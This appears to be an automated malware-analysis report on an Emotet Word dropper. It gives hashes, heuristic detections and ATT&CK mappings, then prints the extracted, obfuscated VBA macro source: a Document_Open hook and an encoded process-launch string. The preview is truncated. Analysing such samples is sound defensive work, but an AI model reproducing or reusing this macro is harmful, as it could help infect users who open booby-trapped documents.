Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7ff7cbe77edc4caa…

MALICIOUS

Office (OLE)

190.3 KB Created: 2020-09-03 19:59:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: c2595ecb1d39b398053bf32b335c84cb SHA-1: 436ebeef3017628a24e8c03a3d5815c3ceec3d44 SHA-256: 7ff7cbe77edc4caa0d45f0cd17aecc0c9aa24d8e3c3696d40fd63eb0f3a3486c
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open auto-execution macro, which is a strong indicator of malicious intent. The ClamAV detection name 'Doc.Dropper.EmotetWinMob0920-9636503-0' strongly suggests the Emotet family. The VBA code is heavily obfuscated but the presence of CreateObject and the overall structure point towards a downloader functionality, likely to fetch and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13504 bytes
SHA-256: 32e7e07adbacaf6cb0fdc88262d7b839cf852547d70828cfa564d887587edcd2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ocfdthw6z5i5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call V0cwe4yhe6gj3vvg.Tvc4wsmdbwlb
End Sub


Attribute VB_Name = "V0cwe4yhe6gj3vvg"
Attribute VB_Base = "0{FCADFF9D-7AC1-433F-9A99-61D7F16BA0C5}{B5F8D878-C993-4815-8D5E-0E63BB44BA11}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Tvc4wsmdbwlb()
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Ank5_i1mao0k4zenj = 105
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Wv9l4vqgbrt18oc_ = ChrW$(Ank5_i1mao0k4zenj + (10))
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
T_qnw0g66qie = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Wv9l4vqgbrt18oc_ + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + V0cwe4yhe6gj3vvg.Cea6rf4f2t4i1l8v + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
H415_9_qe1ktfwot = Ww7_9g3l6jt(T_qnw0g66qie)
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(E7275n2wfv59)
Up70af5twfum = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Dm6s_ek5js7e_n_4 = A9hkn44lxnz33
Yhpddbigbali5 = (jkbasd / Jqy4o76fmc4spvkud)
V1h4a_mlga_yuehnb = CDate(qwiiwi)
E398zndnlos9a5a = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
   On Error Resume Next
Set HLklks = NJLLKsd
Iunp5f5tmugx8r = jsjjswww + wiiwjdd * H3m81yvgqx1yop4g / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwg
... (truncated)

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